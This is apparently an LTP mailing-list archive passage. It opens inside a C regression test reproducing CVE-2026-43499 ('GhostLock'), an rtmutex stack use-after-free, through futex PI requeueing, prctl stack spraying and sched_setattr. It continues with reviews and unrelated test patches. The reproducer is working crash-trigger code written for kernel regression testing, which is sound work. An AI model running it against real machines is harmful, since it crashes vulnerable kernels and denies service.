+ * - Waiter sprays its stack via :manpage:`prctl(2)` (PR_SET_MM_MAP) with
+ *   non-canonical addresses.
+ * - Main thread calls :manpage:`sched_setattr(2)` on the waiter to trigger
+ *   a chain walk.
+ * - The chain walk dereferences the sprayed garbage, crashing a vulnerable
+ *   kernel.
+ */
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_clocks.h"
+#include "tst_safe_pthread.h"
+#include "lapi/syscalls.h"
+#include "lapi/sched.h"
+#include "lapi/prctl.h"
+#include "lapi/futex.h"
+
+#define ATTEMPTS 128
+#define PRCTL_STAMPS 100
+
+#define POISON_PTR 0xdeadbee11c518f58ULL
+#define MAX_AUXV_QWORDS 48
+
+#define CP_CHAIN_HELD 0
+#define CP_TARGET_HELD 1
+#define CP_OWNER_BLOCKED 2
+#define CP_SPRAYED 3
+#define CP_SETATTR_DONE 4
+
+static uint32_t f_wait;
+static uint32_t f_pi_target;
+static uint32_t f_pi_chain;
+
+static pid_t waiter_tid;
+static pid_t owner_tid;
+
+static uint64_t auxv[MAX_AUXV_QWORDS];
+static uint32_t valid_auxv_size;
+
+static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
+				 struct timespec *ts)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
+			   uaddr2, 0);
+}
+
+static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
+			   uaddr2, 0);
+}
+
+static int futex_lock_pi(uint32_t *uaddr)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
+}
+
+static int futex_unlock_pi(uint32_t *uaddr)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
+}
+
+static void run_spray(void)
+{
+	struct prctl_mm_map mm_map = {
+		.start_code  = (uint64_t)(uintptr_t)&run_spray,
+		.end_code    = (uint64_t)(uintptr_t)&run_spray + 0x1000,
+		.start_data  = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+		.end_data    = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+		.start_brk   = (uint64_t)(uintptr_t)sbrk(0),
+		.brk         = (uint64_t)(uintptr_t)sbrk(0),
+		.start_stack = (uint64_t)(uintptr_t)&mm_map,
+		.arg_start   = (uint64_t)(uintptr_t)&mm_map,
+		.arg_end     = (uint64_t)(uintptr_t)&mm_map,
+		.env_start   = (uint64_t)(uintptr_t)&mm_map,
+		.env_end     = (uint64_t)(uintptr_t)&mm_map,
+		.auxv        = (void *)auxv,
+		.auxv_size   = valid_auxv_size,
+		.exe_fd      = (uint32_t)-1,
+	};
+
+	for (int i = 0; i < PRCTL_STAMPS; i++) {
+		SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
+			   sizeof(mm_map), 0);
+	}
+}
+
+static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	struct timespec ts;
+
+	waiter_tid = tst_syscall(__NR_gettid);
+
+	futex_lock_pi(&f_pi_chain);
+
+	TST_CHECKPOINT_WAKE2(CP_CHAIN_HELD, 2);
+	TST_CHECKPOINT_WAIT(CP_OWNER_BLOCKED);
+
+	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
+	ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
+	futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
+
+	run_spray();
+
+	TST_CHECKPOINT_WAKE(CP_SPRAYED);
+	TST_CHECKPOINT_WAIT(CP_SETATTR_DONE);
+
+	futex_unlock_pi(&f_pi_chain);
+
+	return NULL;
+}
+
+static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	owner_tid = tst_syscall(__NR_gettid);
+
+	TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+
+	futex_lock_pi(&f_pi_target);
+	TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
+
+	futex_lock_pi(&f_pi_chain);
+
+	futex_unlock_pi(&f_pi_chain);
+	futex_unlock_pi(&f_pi_target);
+
+	return NULL;
+}
+
+static void setup(void)
+{
+	static const int try_sizes[] = {
+		MAX_AUXV_QWORDS,
+		MAX_AUXV_QWORDS - 4,
+		MAX_AUXV_QWORDS - 8
+	};
+	struct prctl_mm_map map = {
+		.exe_fd = (uint32_t)-1,
+		.auxv = (void *)auxv,
+	};
+	unsigned int i, sz = 0;
+
+	SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP_SIZE, (unsigned long)&sz, 0, 0);
+
+	for (i = 0; i < MAX_AUXV_QWORDS; i++)
+		auxv[i] = POISON_PTR + i * 8;
+
+	map.start_code = map.start_data = map.end_data =
+	map.start_brk = map.brk = map.start_stack = map.arg_start =
+	map.arg_end = map.env_start = map.env_end = (uint64_t)(uintptr_t)&sz;
+	map.end_code = map.start_code + 0x1000;
+
+	for (i = 0; i < ARRAY_SIZE(try_sizes); i++) {
+		valid_auxv_size = try_sizes[i] * sizeof(uint64_t);
+		map.auxv_size = valid_auxv_size;
+
+		if (prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0) == 0)
+			break;
+	}
+
+	if (i == ARRAY_SIZE(try_sizes))
+		tst_brk(TBROK | TERRNO, "PR_SET_MM_MAP failed for all auxv sizes");
+
+	tst_res(TDEBUG, "Using auxv_size = %u", valid_auxv_size);
+}
+
+static void run(void)
+{
+	pthread_t waiter_th, owner_th;
+	struct sched_attr attr = {
+		.size = sizeof(attr),
+		.sched_policy = SCHED_BATCH,
+		.sched_nice = 19,
+	};
+
+	tst_res(TINFO, "Triggering PI deadlock and stack spray");
+
+	for (int i = 0; i < ATTEMPTS; i++) {
+		f_wait = 0;
+		f_pi_target = 0;
+		f_pi_chain = 0;
+
+		SAFE_PTHREAD_CREATE(&waiter_th, NULL, waiter_fn, NULL);
+		SAFE_PTHREAD_CREATE(&owner_th, NULL, owner_fn, NULL);
+
+		TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+		TST_CHECKPOINT_WAIT(CP_TARGET_HELD);
+
+		TST_THREAD_STATE_WAIT(owner_tid, 'S', 10000);
+
+		TST_CHECKPOINT_WAKE(CP_OWNER_BLOCKED);
+
+		TST_THREAD_STATE_WAIT(waiter_tid, 'S', 10000);
+
+		TEST(futex_cmp_requeue_pi(&f_wait, &f_pi_target));
+		if (TST_RET != -1 || TST_ERR != EDEADLK)
+			tst_brk(TBROK | TTERRNO, "FUTEX_CMP_REQUEUE_PI did not return -EDEADLK");
+
+		TST_CHECKPOINT_WAIT(CP_SPRAYED);
+
+		TEST(sched_setattr(waiter_tid, &attr, 0));
+		if (TST_RET == -1)
+			tst_brk(TBROK | TTERRNO, "sched_setattr() failed");
+
+		TST_CHECKPOINT_WAKE(CP_SETATTR_DONE);
+
+		SAFE_PTHREAD_JOIN(waiter_th, NULL);
+		SAFE_PTHREAD_JOIN(owner_th, NULL);
+	}
+
+	tst_res(TPASS, "Kernel survived %d GhostLock trigger attempts", ATTEMPTS);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.runtime = 180,
+	.needs_checkpoints = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_CHECKPOINT_RESTORE=y",
+		"CONFIG_FUTEX_PI=y",
+		NULL
+	},
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "3bfdc63936dd"},
+		{"CVE", "2026-43499"},
+		{}
+	},
+};

-- 
2.51.0


From linuxtestproject.agent@gmail.com  Sat Aug  1 13:27:23 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sat,  1 Aug 2026 11:27:23 +0000
Subject: [LTP] lapi/prctl: add more fallback definitions
In-Reply-To: <20260801-cve-ghostlock-v1-1-178f698f9702@suse.com>
References: <20260801-cve-ghostlock-v1-1-178f698f9702@suse.com>
Message-ID: <20260801112723.9180-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Aug 1, 2026, Andrea Cervesato wrote:
> lapi/prctl: add more fallback definitions

--- [PATCH 2/2] ---

> +	static const int try_sizes[] = {
> +		MAX_AUXV_QWORDS,
> +		MAX_AUXV_QWORDS - 4,
> +		MAX_AUXV_QWORDS - 8
> +	};
> [...]
> +		valid_auxv_size = try_sizes[i] * sizeof(uint64_t);

Could these sizes either use the native word size, or could the test be
restricted to the 64-bit architectures on which the reproducer works?

On i386, the smallest attempted size is 320 bytes, but the kernel's
saved_auxv is only 56 * sizeof(unsigned long), or 224 bytes.
prctl_set_mm_map() therefore rejects all three attempts, and setup reports
TBROK. With no supported_archs restriction, the cve runtest entry runs this
test on 32-bit x86.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From li.wang@linux.dev  Sat Aug  1 13:48:54 2026
From: li.wang@linux.dev (Li Wang)
Date: Sat, 1 Aug 2026 19:48:54 +0800
Subject: [LTP] [PATCH v2 1/2] shell: add optional OOM protection
In-Reply-To: <20260730-shell_oom_protection-v2-1-be1de2baa83d@suse.com>
References: <20260730-shell_oom_protection-v2-0-be1de2baa83d@suse.com>
 <20260730-shell_oom_protection-v2-1-be1de2baa83d@suse.com>
Message-ID: <am3dJgE_4tMWnsh1@linux.dev>

Andrea Cervesato wrote:

> --- a/testcases/lib/tst_test.sh
> +++ b/testcases/lib/tst_test.sh
> @@ -28,6 +28,57 @@ export TST_USR_GID="${LTP_USR_GID:-65534}"
>  trap "tst_brk TBROK 'test interrupted'" INT
>  trap "unset _tst_setup_timer_pid; tst_brk TBROK 'test terminated'" TERM
>  
> +_tst_set_oom_score_adj()
> +{
> +	local value="$1"
> +	local path="/proc/self/oom_score_adj"
> +
> +	[ -e "$path" ] || return 0
> +
> +	echo "$value" > "$path" 2>/dev/null || return 0
> +}
> +
> +_tst_enable_oom_protection()
> +{
> +	_tst_set_oom_score_adj -1000
> +}
> +
> +_tst_disable_oom_protection()
> +{
> +	_tst_set_oom_score_adj 0
> +}
> +
> +_tst_run_oom_protected()
> +{
> +	local _tst_pid
> +	local _tst_ret
> +
> +	# Shield the harness from the OOM killer and run the test in a child.
> +	# The child keeps the default oom_score_adj so that it, and any process
> +	# it spawns, stay killable under memory pressure while the harness
> +	# survives to report results.
> +	_tst_enable_oom_protection
> +
> +	(
> +		_tst_disable_oom_protection
> +		_TST_OOM_PROTECTION=0
> +		export _TST_OOM_PROTECTION
> +		tst_run "$@"
> +	) &
> +	_tst_pid=$!
> +
> +	wait "$_tst_pid"
> +	_tst_ret=$?
> +
> +	if [ "$_tst_ret" -eq 137 ]; then
> +		tst_res TINFO "Test was SIGKILLed: OOM killer or timeout?"
> +		tst_res TINFO "On a slow machine try exporting LTP_TIMEOUT_MUL > 1"
> +		tst_brk TBROK "Test killed!"
> +	fi
> +
> +	exit "$_tst_ret"
> +}
> +
>  _tst_do_cleanup()
>  {
>  	if [ -n "$TST_DO_CLEANUP" -a -n "$TST_CLEANUP" -a -z "$LTP_NO_CLEANUP" ]; then
> @@ -680,12 +731,16 @@ tst_run()
>  	local _tst_pattern='[='\''"} \t\/:`$\;|].*'
>  	local ret
>  
> +	if [ "$TST_OOM_PROTECTION" = 1 -a "$_TST_OOM_PROTECTION" != 0 ]; then
> +		_tst_run_oom_protected "$@"
> +	fi

In the C library, OOM protection for the LTP library and harness
is enabled by default. But in such Shell implementation, we have to
explicitly enable it via 'TST_OOM_PROTECTION=1'.

If we keep them consistent and remove the TST_OOM_PROTECTION
variable, things will become easier I guess :).

-- 
Regards,
Li Wang

From li.wang@linux.dev  Sat Aug  1 14:04:58 2026
From: li.wang@linux.dev (Li Wang)
Date: Sat, 1 Aug 2026 20:04:58 +0800
Subject: [LTP] [PATCH v2 1/2] shell: add optional OOM protection
In-Reply-To: <am3dJgE_4tMWnsh1@linux.dev>
References: <20260730-shell_oom_protection-v2-0-be1de2baa83d@suse.com>
 <20260730-shell_oom_protection-v2-1-be1de2baa83d@suse.com>
 <am3dJgE_4tMWnsh1@linux.dev>
Message-ID: <am3g6oTHnfmiYORz@linux.dev>

> > +	if [ "$TST_OOM_PROTECTION" = 1 -a "$_TST_OOM_PROTECTION" != 0 ]; then
> > +		_tst_run_oom_protected "$@"
> > +	fi
> 
> In the C library, OOM protection for the LTP library and harness
> is enabled by default. But in such Shell implementation, we have to
> explicitly enable it via 'TST_OOM_PROTECTION=1'.

Say precisely: only protect LTP library not contains upper harness.
The upper harness can to be handled out from LTP.

See:

  commit 8e5fe1d5f2 ("lib: enable OOM protection for ltp lib process")


> If we keep them consistent and remove the TST_OOM_PROTECTION
> variable, things will become easier I guess :).

-- 
Regards,
Li Wang

From li.wang@linux.dev  Mon Aug  3 03:20:21 2026
From: li.wang@linux.dev (Li Wang)
Date: Mon, 3 Aug 2026 09:20:21 +0800
Subject: [LTP] [PATCH v2 1/2] madvise09: restore cgroup v1 memory limits
 with numeric values
In-Reply-To: <20260730100127.193103-1-li.wang@linux.dev>
References: <20260730100127.193103-1-li.wang@linux.dev>
Message-ID: <am_s1XgvsmKXVFib@linux.dev>

Patch set merged, thanks!

-- 
Regards,
Li Wang

From wegao@suse.com  Mon Aug  3 04:12:17 2026
From: wegao@suse.com (Wei Gao)
Date: Mon,  3 Aug 2026 02:12:17 +0000
Subject: [LTP] [PATCH v11] fsconfig04: Check FSCONFIG_SET_PATH
In-Reply-To: <20260720122644.2153-1-wegao@suse.com>
References: <20260720122644.2153-1-wegao@suse.com>
Message-ID: <20260803021230.14530-1-wegao@suse.com>

The fsconfig01.c does not test if FSCONFIG_SET_PATH has any effect;
most of the calls there just set a dummy "sync" parameter. This test
case aims to verify if the FSCONFIG_SET_PATH operation can be used
to dynamically change the external journal device of an ext3 or ext4
filesystem.

Closes: https://github.com/linux-test-project/ltp/issues/1169
Signed-off-by: Wei Gao <wegao@suse.com>
---
 runtest/syscalls                              |   1 +
 testcases/kernel/syscalls/fsconfig/.gitignore |   1 +
 .../kernel/syscalls/fsconfig/fsconfig04.c     | 183 ++++++++++++++++++
 3 files changed, 185 insertions(+)
 create mode 100644 testcases/kernel/syscalls/fsconfig/fsconfig04.c

diff --git a/runtest/syscalls b/runtest/syscalls
index 65fb4d1ce..13bb59cde 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -437,6 +437,7 @@ fremovexattr02 fremovexattr02
 fsconfig01 fsconfig01
 fsconfig02 fsconfig02
 fsconfig03 fsconfig03
+fsconfig04 fsconfig04
 
 fsmount01 fsmount01
 fsmount02 fsmount02
diff --git a/testcases/kernel/syscalls/fsconfig/.gitignore b/testcases/kernel/syscalls/fsconfig/.gitignore
index cfedae5f7..bd3754c34 100644
--- a/testcases/kernel/syscalls/fsconfig/.gitignore
+++ b/testcases/kernel/syscalls/fsconfig/.gitignore
@@ -1,3 +1,4 @@
 /fsconfig01
 /fsconfig02
 /fsconfig03
+/fsconfig04
diff --git a/testcases/kernel/syscalls/fsconfig/fsconfig04.c b/testcases/kernel/syscalls/fsconfig/fsconfig04.c
new file mode 100644
index 000000000..3890b0a38
--- /dev/null
+++ b/testcases/kernel/syscalls/fsconfig/fsconfig04.c
@@ -0,0 +1,183 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Wei Gao <wegao@suse.com>
+ */
+
+/*\
+ * This test aims to validate :manpage:`fsconfig(2)` with the
+ * FSCONFIG_SET_PATH operation in dynamically altering the external
+ * journal device of an ext3 or ext4 filesystem.
+ *
+ * Root privileges are required because the test creates and formats loop
+ * devices, and configures filesystems.
+ *
+ * [Algorithm]
+ *
+ * - Acquire three loop devices (dev0 from framework, dev1, dev2).
+ * - Format dev1 and dev2 as external journal devices with the same UUID
+ *   ("-O journal_dev -U <uuid>").
+ * - Format dev0 three times to cycle journal associations:
+ *   dev1 -> dev2 -> dev1, so both journal superblocks are consistent.
+ * - Open dev0 via fsopen(2) and set the source and journal_path using
+ *   fsconfig(FSCONFIG_SET_STRING) and fsconfig(FSCONFIG_SET_PATH).
+ * - Apply FSCONFIG_CMD_CREATE and verify with tune2fs that dev0's
+ *   journal device is now dev2.
+ *
+ * Implementation notes:
+ *
+ * - To avoid "journal UUID does not match" error when switching external
+ *   journal device, we have to assign the same UUID to dev1/dev2.
+ * - Before the fsconfig test, we have to format dev0 associating to
+ *   dev1->dev2->dev1. This ensures that both dev1/2's super block contain
+ *   correct content. Otherwise, you will encounter errors such as
+ *   "EXT4-fs (loop0): External journal has more than one user (unsupported)"
+ *   when switching the external journal device using fsconfig.
+ */
+
+#include "tst_test.h"
+#include "tst_safe_stdio.h"
+#include "lapi/fsmount.h"
+
+#define MNTPOINT	"mntpoint"
+#define LOOP_DEV_SIZE 10
+#define UUID "d73c9e5e-97e4-4a9c-b17e-75a931b02660"
+
+static int fd = -1;
+static char dev0[PATH_MAX];
+static char dev1[PATH_MAX];
+static char dev2[PATH_MAX];
+
+static void cleanup(void)
+{
+	if (fd != -1)
+		SAFE_CLOSE(fd);
+
+	if (dev1[0])
+		tst_detach_device(dev1);
+
+	if (dev2[0])
+		tst_detach_device(dev2);
+}
+
+static void create_and_attach_loopdev(const char *filename, char *dev_path, size_t dev_path_len)
+{
+	if (tst_prealloc_file(filename, 1024 * 1024, LOOP_DEV_SIZE))
+		tst_brk(TBROK, "Failed to create %s", filename);
+
+	if (tst_find_free_loopdev(dev_path, dev_path_len) == -1)
+		tst_brk(TBROK, "No free loop device found for %s", filename);
+
+	if (tst_attach_device(dev_path, filename))
+		tst_brk(TBROK, "Failed to attach %s to %s", filename, dev_path);
+}
+
+static void setup(void)
+{
+	fsopen_supported_by_kernel();
+
+	strcpy(dev0, tst_device->dev);
+
+	create_and_attach_loopdev("dev1_file", dev1, sizeof(dev1));
+	create_and_attach_loopdev("dev2_file", dev2, sizeof(dev2));
+
+	const char *const *mkfs_opts_set_UUID;
+	const char *const *mkfs_opts_set_journal_dev1;
+	const char *const *mkfs_opts_set_journal_dev2;
+
+	mkfs_opts_set_UUID = (const char *const []) {"-F", "-U", UUID,
+		"-O", "journal_dev", NULL};
+
+	char device_option_dev1[PATH_MAX + 16];
+	char device_option_dev2[PATH_MAX + 16];
+
+	snprintf(device_option_dev1, sizeof(device_option_dev1), "device=%s", dev1);
+	snprintf(device_option_dev2, sizeof(device_option_dev2), "device=%s", dev2);
+
+	mkfs_opts_set_journal_dev1 = (const char *const []) {"-F", "-J",
+		device_option_dev1, NULL};
+
+	mkfs_opts_set_journal_dev2 = (const char *const []) {"-F", "-J",
+		device_option_dev2, NULL};
+
+	SAFE_MKFS(dev1, tst_device->fs_type, mkfs_opts_set_UUID, NULL);
+	SAFE_MKFS(dev2, tst_device->fs_type, mkfs_opts_set_UUID, NULL);
+	SAFE_MKFS(dev0, tst_device->fs_type, mkfs_opts_set_journal_dev1, NULL);
+	SAFE_MKFS(dev0, tst_device->fs_type, mkfs_opts_set_journal_dev2, NULL);
+	SAFE_MKFS(dev0, tst_device->fs_type, mkfs_opts_set_journal_dev1, NULL);
+}
+
+static void run(void)
+{
+	TEST(fd = fsopen(tst_device->fs_type, 0));
+	if (fd == -1)
+		tst_brk(TBROK | TTERRNO, "fsopen() failed");
+
+	TEST(fsconfig(fd, FSCONFIG_SET_STRING, "source", dev0, 0));
+	if (TST_RET == -1)
+		tst_brk(TBROK | TTERRNO, "fsconfig(FSCONFIG_SET_STRING) failed");
+
+	TEST(fsconfig(fd, FSCONFIG_SET_PATH, "journal_path", dev2, 0));
+	if (TST_RET == -1) {
+		if (TST_ERR == EOPNOTSUPP)
+			tst_brk(TCONF, "fsconfig(FSCONFIG_SET_PATH) not supported");
+		else
+			tst_brk(TFAIL | TTERRNO, "fsconfig(FSCONFIG_SET_PATH) failed");
+	}
+
+	TEST(fsconfig(fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0));
+	if (TST_RET == -1)
+		tst_brk(TFAIL | TTERRNO, "fsconfig(FSCONFIG_CMD_CREATE) failed");
+
+	char loop_name[NAME_MAX];
+	char path[PATH_MAX + 32];
+	char device_str[NAME_MAX];
+	unsigned int major, minor, device_num;
+	unsigned int found = 0;
+
+	SAFE_SSCANF(dev2, "/dev/%s", loop_name);
+
+	snprintf(path, sizeof(path), "/sys/block/%s/dev", loop_name);
+	SAFE_FILE_SCANF(path, "%u:%u", &major, &minor);
+	device_num = (minor & 0xff) | (major << 8) | ((minor & ~0xff) << 12);
+	snprintf(device_str, sizeof(device_str), "0x%04x", device_num);
+
+	char line[PATH_MAX];
+	FILE *tune2fs;
+
+	snprintf(path, sizeof(path), "tune2fs -l %s 2>&1", dev0);
+	tune2fs = SAFE_POPEN(path, "r");
+
+	while (fgets(line, PATH_MAX, tune2fs)) {
+		if (*line && strstr(line, "Journal device:") && strstr(line, device_str)) {
+			found = 1;
+			break;
+		}
+	}
+
+	if (found == 1)
+		tst_res(TPASS, "Device found in journal");
+	else
+		tst_res(TFAIL, "Device not found in journal");
+
+	pclose(tune2fs);
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.needs_device = 1,
+	.mntpoint = MNTPOINT,
+	.needs_cmds = (struct tst_cmd []) {
+		{.cmd = "tune2fs"},
+		{}
+	},
+	.filesystems = (struct tst_fs []) {
+		{.type = "ext3"},
+		{.type = "ext4"},
+		{}
+	},
+};
-- 
2.54.0


From linuxtestproject.agent@gmail.com  Mon Aug  3 05:37:11 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon,  3 Aug 2026 03:37:11 +0000
Subject: [LTP] fsconfig04: Check FSCONFIG_SET_PATH
In-Reply-To: <20260803021230.14530-1-wegao@suse.com>
References: <20260803021230.14530-1-wegao@suse.com>
Message-ID: <20260803033711.9131-1-linuxtestproject.agent@gmail.com>

Hi Wei,

On Aug 3, 2026, Wei Gao wrote:
> fsconfig04: Check FSCONFIG_SET_PATH

> + * - Format dev1 and dev2 as external journal devices with the same UUID
> + *   ("-O journal_dev -U <uuid>").
> + * - Format dev0 three times to cycle journal associations:
> + *   dev1 -> dev2 -> dev1, so both journal superblocks are consistent.
> + * - Open dev0 via fsopen(2) and set the source and journal_path using
> + *   fsconfig(FSCONFIG_SET_STRING) and fsconfig(FSCONFIG_SET_PATH).

Could the syscall references use the required :manpage:`fsopen(2)` and
:manpage:`fsconfig(2)` roles, and could identifiers and command-line
arguments use reStructuredText inline literals (for example,
``FSCONFIG_SET_PATH`` and ``-O journal_dev -U <uuid>``)? This block is
exported to the test catalog, where these roles and literals provide the
expected links and formatting.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From chrubis@suse.cz  Mon Aug  3 09:54:34 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Mon, 3 Aug 2026 09:54:34 +0200
Subject: [LTP] [PATCH v2] perf_event_open03: Track SUnreclaim growth
 instead of MemAvailable
In-Reply-To: <20260722054125.197919-1-yizhou.tang@shopee.com>
References: <20260722054125.197919-1-yizhou.tang@shopee.com>
Message-ID: <anBJOu0zj4JFlWtF@yuki.lan>

Hi!
Applied, thanks.

-- 
Cyril Hrubis
chrubis@suse.cz

From andrea.cervesato@suse.de  Mon Aug  3 10:10:04 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Mon, 03 Aug 2026 10:10:04 +0200
Subject: [LTP] [PATCH v2 1/2] lapi/prctl: add more fallback definitions
In-Reply-To: <20260803-cve-ghostlock-v2-0-b60588853140@suse.com>
References: <20260803-cve-ghostlock-v2-0-b60588853140@suse.com>
Message-ID: <20260803-cve-ghostlock-v2-1-b60588853140@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add the following fallback definitions:

- PR_SET_MM
- PR_SET_MM_MAP
- PR_SET_MM_MAP_SIZE
- struct prctl_mm_map

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 configure.ac         |  2 ++
 include/lapi/prctl.h | 25 +++++++++++++++++++++++++
 2 files changed, 27 insertions(+)

diff --git a/configure.ac b/configure.ac
index 19fc5e1b8f5f5f94bd797ff2ba4275c29c20cb6c..052b83e048f43b132c59ba393e439a32e2f251d2 100644
--- a/configure.ac
+++ b/configure.ac
@@ -286,6 +286,8 @@ AC_CHECK_TYPES([struct fsxattr],,,[#include <linux/fs.h>])
 
 AC_CHECK_TYPES([struct logical_block_metadata_cap],,,[#include <linux/fs.h>])
 
+AC_CHECK_TYPES([struct prctl_mm_map],,,[#include <sys/prctl.h>])
+
 AC_CHECK_TYPES([struct sockaddr_vm],,,[
 #include <sys/socket.h>
 #include <linux/vm_sockets.h>
diff --git a/include/lapi/prctl.h b/include/lapi/prctl.h
index 8d3ef5c32ef5e2ee7742cc418b4ec40bee8cd661..a681aab499271b618d2e61fb79faf0055b6718dd 100644
--- a/include/lapi/prctl.h
+++ b/include/lapi/prctl.h
@@ -7,6 +7,7 @@
 #ifndef LAPI_PRCTL_H__
 #define LAPI_PRCTL_H__
 
+#include <stdint.h>
 #include <sys/prctl.h>
 
 #ifndef PR_SET_NAME
@@ -59,4 +60,28 @@
 # define PR_SET_SPECULATION_CTRL 53
 #endif
 
+#ifndef PR_SET_MM
+# define PR_SET_MM		35
+#endif
+#ifndef PR_SET_MM_MAP
+# define PR_SET_MM_MAP	14
+#endif
+#ifndef PR_SET_MM_MAP_SIZE
+# define PR_SET_MM_MAP_SIZE	15
+#endif
+
+#if !defined(HAVE_STRUCT_PRCTL_MM_MAP) && !defined(PR_SET_MM_MAP_SIZE)
+struct prctl_mm_map {
+	uint64_t start_code, end_code;
+	uint64_t start_data, end_data;
+	uint64_t start_brk, brk;
+	uint64_t start_stack;
+	uint64_t arg_start, arg_end;
+	uint64_t env_start, env_end;
+	uint64_t *auxv;
+	uint32_t auxv_size;
+	uint32_t exe_fd;
+};
+#endif
+
 #endif /* LAPI_PRCTL_H__ */

-- 
2.51.0


From andrea.cervesato@suse.de  Mon Aug  3 10:10:03 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Mon, 03 Aug 2026 10:10:03 +0200
Subject: [LTP] [PATCH v2 0/2] Reproducer for ghostlock
Message-ID: <20260803-cve-ghostlock-v2-0-b60588853140@suse.com>

Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
rtmutex PI code, fixed in kernel v7.1:
3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/, https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.

Assisted by Kimi K3 for the analysis and written mostly with Gemini Pro
3.1 Max.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v2:
- fix build
- fix 32bit run
- Link to v1: https://lore.kernel.org/20260801-cve-ghostlock-v1-0-178f698f9702@suse.com

---
Andrea Cervesato (2):
      lapi/prctl: add more fallback definitions
      cve: add CVE-2026-43499 reproducer

 configure.ac              |   2 +
 include/lapi/prctl.h      |  25 +++++
 runtest/cve               |   1 +
 testcases/cve/.gitignore  |   1 +
 testcases/cve/Makefile    |   2 +-
 testcases/cve/ghostlock.c | 252 ++++++++++++++++++++++++++++++++++++++++++++++
 6 files changed, 282 insertions(+), 1 deletion(-)
---
base-commit: 6891f922f21a56238d3225c9a83e08f4f7c1765b
change-id: 20260801-cve-ghostlock-6ee4b2f69fd6

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


From andrea.cervesato@suse.de  Mon Aug  3 10:10:05 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Mon, 03 Aug 2026 10:10:05 +0200
Subject: [LTP] [PATCH v2 2/2] cve: add CVE-2026-43499 reproducer
In-Reply-To: <20260803-cve-ghostlock-v2-0-b60588853140@suse.com>
References: <20260803-cve-ghostlock-v2-0-b60588853140@suse.com>
Message-ID: <20260803-cve-ghostlock-v2-2-b60588853140@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add "Ghostlock" reproducer for CVE-2026-43499.

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/,
https://github.com/NebuSec/CyberMeowfia).

Beware, this test will crash the system on a vulnerable kernel.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve               |   1 +
 testcases/cve/.gitignore  |   1 +
 testcases/cve/Makefile    |   2 +-
 testcases/cve/ghostlock.c | 252 ++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 255 insertions(+), 1 deletion(-)

diff --git a/runtest/cve b/runtest/cve
index 99d84270b6efc9afae5bd27adee704603c3092f7..3035dff9797260402660208f0e5028803a72d297 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -101,3 +101,4 @@ cve-2026-43494 io_uring04
 cve-2026-46300 xfrm02
 cve-2026-46300-skb-segment xfrm03
 cve-2026-46331 cve-2026-46331
+cve-2026-43499 ghostlock
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936..914592f30e4e3e883b6ed270ad47c6910798974e 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,3 +16,4 @@ tcindex01
 cve-2025-38236
